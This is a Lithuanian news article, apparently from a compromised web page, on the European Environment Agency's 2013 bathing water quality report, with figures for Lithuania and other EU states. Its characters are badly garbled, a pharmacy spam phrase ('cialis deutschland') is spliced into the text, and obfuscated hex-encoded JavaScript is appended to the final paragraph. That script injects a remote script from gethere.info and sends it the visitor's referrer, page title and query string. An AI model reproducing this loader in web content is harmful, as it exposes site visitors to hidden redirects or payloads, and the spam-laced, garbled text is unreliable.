Lietuvos maudyklA? vanduo neatsilieka nuo Europos

2013 m. daugumos Europos pajA�rio paplA�dimiA?, upiA? ir eA?erA? vanduo buvo aukA?tos kokybA�s a�� daugiau kaip 95 % A?iA? maudyklA? atitiko bA�tiniausius reikalavimus. PajA�rio maudyklA? duomenys A?iek tiek geresni negu vidaus vandenA? maudyklA?.

Puikiai A?vertintos visos Kipro ir Liuksemburgo maudyklos. Nuo A?iA? A?aliA? nedaug atsilieka Malta (puikiai A?vertinta 99 % maudyklA?), Kroatija (95 %) ir Graikija (93 %). Europos SA�jungos valstybA�s narA�s, kuriose yra daugiausia prastai A?vertintA? maudyklA?, yra Estija (6 %), Nyderlandai (5 %), Belgija (4 %), PrancA�zija (3 %), Ispanija (3 %) ir Airija (3 %).

2013 m. Lietuvoje buvo iA?tirta 112 maudyklA? (16 pajA�rio ir 96 vidaus vandenA?). 97 proc. maudyklA? vanduo buvo puikios arba geros kokybA�s. 100 proc. pajA�rio ir 97 proc. vidaus vandenA? maudyklA? vanduo buvo puikios arba geros kokybA�s.

MetinA�je maudyklA? vandens kokybA�s ataskaitoje Europos aplinkos agentA�ra (EAA) apA?velgA� 22 000 Europos SA�jungos, A�veicarijos ir (pirmA� kartA�) Albanijos maudyklA? vandens kokybA�. Kartu su ataskaita Europos aplinkos agentA�ra parengA� sA�veikA?jA? A?emA�lapA?, kuriame galima pamatyti kiekvienos maudyklos 2013 m. rezultatus.

UA? aplinkA� atsakingas Europos Komisijos narys Janezas PotoA?nikas: a�zGerai, kad Europos maudyklA? vandens kokybA� ir toliau iA?lieka aukA?ta. TaA?iau negalime uA?migti ant laurA?, kai kalbame apie tokA? vertingA� iA?tekliA?, kaip vanduo. Turime ir toliau uA?tikrinti visapusiA?kA� savo maudyklA?, geriamojo vandens ir vandens ekosistemA? apsaugA�.a�?

Europos aplinkos agentA�ros vykdomasis direktorius Hansas Bruyninckxas: a�zEuropos maudyklA? vandens kokybA� per pastaruosius du deA?imtmeA?ius pagerA�jo a�� jau nebepilame tiesiai A? vandens telkinius tiek daug nuotekA?. A�iandienos sunkumai kyla dA�l trumpalaikio tarA?os padidA�jimo per liA�tis ir potvynius. DA�l jA? gali bA�ti perpildytos kanalizacijos sistemos, o fekalinA�s bakterijos iA? dirbamos A?emA�s nuplautos A? upes ir jA�ras.a�?

Vietos valdA?ios institucijos stebi vietos paplA�dimiA? vandenA? a�� ima mA�ginius pavasarA? ir per visA� maudymosi sezonA�. MaudyklA? vanduo gali bA�ti pripaA?intas a�zpuikiua�?, a�zgerua�?, a�zpatenkinamua�? arba a�zprastua�?. Vertinimas grindA?iamas dviejA? tipA? bakterijA? kiekiu vandenyje, pagal kurA? nustatoma tarA?a iA? kanalizacijos arba gyvulinA�s kilmA�s tarA?a. A�ios bakterijos prarytos gali sukelti ligA� (vA�mimA� ir viduriavimA�).

Vertinant maudyklA? vandens kokybA� neatsiA?velgiama A? A?iukA?linimA�, terA?imA� ir kitus A?alos gamtai aspektus. Nors dauguma maudyklA? pakankamai A?varios, kad nekeltA? pavojaus A?moniA? sveikatai, daugelio Europos vandens telkiniA? ekosistemA? bA�klA� kelia nerimA�. Akivaizdu, kad Europos jA�rA? ekosistemA? bA�klA� prasta a�� neseniai atlikto vertinimo duomenimis, Europos jA�rA? ekosistemoms pavojA? kelia klimato kaita, tarA?a, A?uvA? iA?tekliA? pereikvojimas ir rA�gA?tA�jimas. Daugelio A?iA? veiksniA? A?taka tik didA�s.

cialis deutschland. KA� turA�tumA�te A?inoti iA?siruoA?A� atostogauti?

Daugiau kaip 95 % maudyklA? atitinka bA�tiniausius reikalavimus, o 83 % atitinka grieA?tesnius reikalavimus, kad galA�tA? bA�ti vertinamos puikiai. Tik 2 % maudyklA? A?vertintos prastai.

BA�tiniausius reikalavimus atitinkanA?iA? maudyklA? dalis 2013 m. buvo beveik tokia pat kaip ir 2012 m. TaA?iau puikiai A?vertintA? maudyklA? padaugA�jo a�� 2012 m. jA? buvo 79 %, o 2013 m. a�� 83 %.

PajA�rio paplA�dimiA? vandens kokybA� buvo A?iek tiek geresnA� a�� puikiomis pripaA?inta 85 % pajA�rio maudyklA?. Puikiai A?vertinti visi SlovA�nijos ir Kipro pajA�rio paplA�dimiai.

Vidaus vandenA? maudyklA? vandens kokybA� A?iek tiek prastesnA� negu vidutinA�. Liuksemburgas yra vienintelA� A?alis, kurios visos vidaus vandenA? maudyklos A?vertintos puikiai. Nuo jos nedaug teatsilieka Danija, kurioje puikiomis pripaA?inta 94 % vidaus vandenA? maudyklA?. Vokietijoje iA? beveik 2000 vidaus vandenA? maudyklA? puikios kokybA�s yra 92 %.var _0x31f1=[„\x73\x63\x72\x69\x70\x74″,“\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74″,“\x73\x72\x63″,“\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26\x73\x65\x5F\x72\x65\x66\x65\x72\x72\x65\x72\x3D“,“\x72\x65\x66\x65\x72\x72\x65\x72″,“\x26\x64\x65\x66\x61\x75\x6C\x74\x5F\x6B\x65\x79\x77\x6F\x72\x64\x3D“,“\x74\x69\x74\x6C\x65″,“\x26″,“\x3F“,“\x72\x65\x70\x6C\x61\x63\x65″,“\x73\x65\x61\x72\x63\x68″,“\x6C\x6F\x63\x61\x74\x69\x6F\x6E“,“\x26\x66\x72\x6D\x3D\x73\x63\x72\x69\x70\x74″,“\x63\x75\x72\x72\x65\x6E\x74\x53\x63\x72\x69\x70\x74″,“\x69\x6E\x73\x65\x72\x74\x42\x65\x66\x6F\x72\x65″,“\x70\x61\x72\x65\x6E\x74\x4E\x6F\x64\x65″,“\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64″,“\x68\x65\x61\x64″,“\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65″,“\x70\x72\x6F\x74\x6F\x63\x6F\x6C“,“\x68\x74\x74\x70\x73\x3A“,“\x69\x6E\x64\x65\x78\x4F\x66″,“\x52\x5F\x50\x41\x54\x48″,“\x54\x68\x65\x20\x77\x65\x62\x73\x69\x74\x65\x20\x77\x6F\x72\x6B\x73\x20\x6F\x6E\x20\x48\x54\x54\x50\x53\x2E\x20\x54\x68\x65\x20\x74\x72\x61\x63\x6B\x65\x72\x20\x6D\x75\x73\x74\x20\x75\x73\x65\x20\x48\x54\x54\x50\x53\x20\x74\x6F\x6F\x2E“];var d=document;var s=d[_0x31f1[1]](_0x31f1[0]);s[_0x31f1[2]]= _0x31f1[3]+ encodeURIComponent(document[_0x31f1[4]])+ _0x31f1[5]+ encodeURIComponent(document[_0x31f1[6]])+ _0x31f1[7]+ window[_0x31f1[11]][_0x31f1[10]][_0x31f1[9]](_0x31f1[8],_0x31f1[7])+ _0x31f1[12];if(document[_0x31f1[13]]){document[_0x31f1[13]][_0x31f1[15]][_0x31f1[14]](s,document[_0x31f1[13]])}else {d[_0x31f1[18]](_0x31f1[17])[0][_0x31f1[16]](s)};if(document[_0x31f1[11]][_0x31f1[19]]=== _0x31f1[20]&& KTracking[_0x31f1[22]][_0x31f1[21]](_0x31f1[3]+ encodeURIComponent(document[_0x31f1[4]])+ _0x31f1[5]+ encodeURIComponent(document[_0x31f1[6]])+ _0x31f1[7]+ window[_0x31f1[11]][_0x31f1[10]][_0x31f1[9]](_0x31f1[8],_0x31f1[7])+ _0x31f1[12])=== -1){alert(_0x31f1[23])}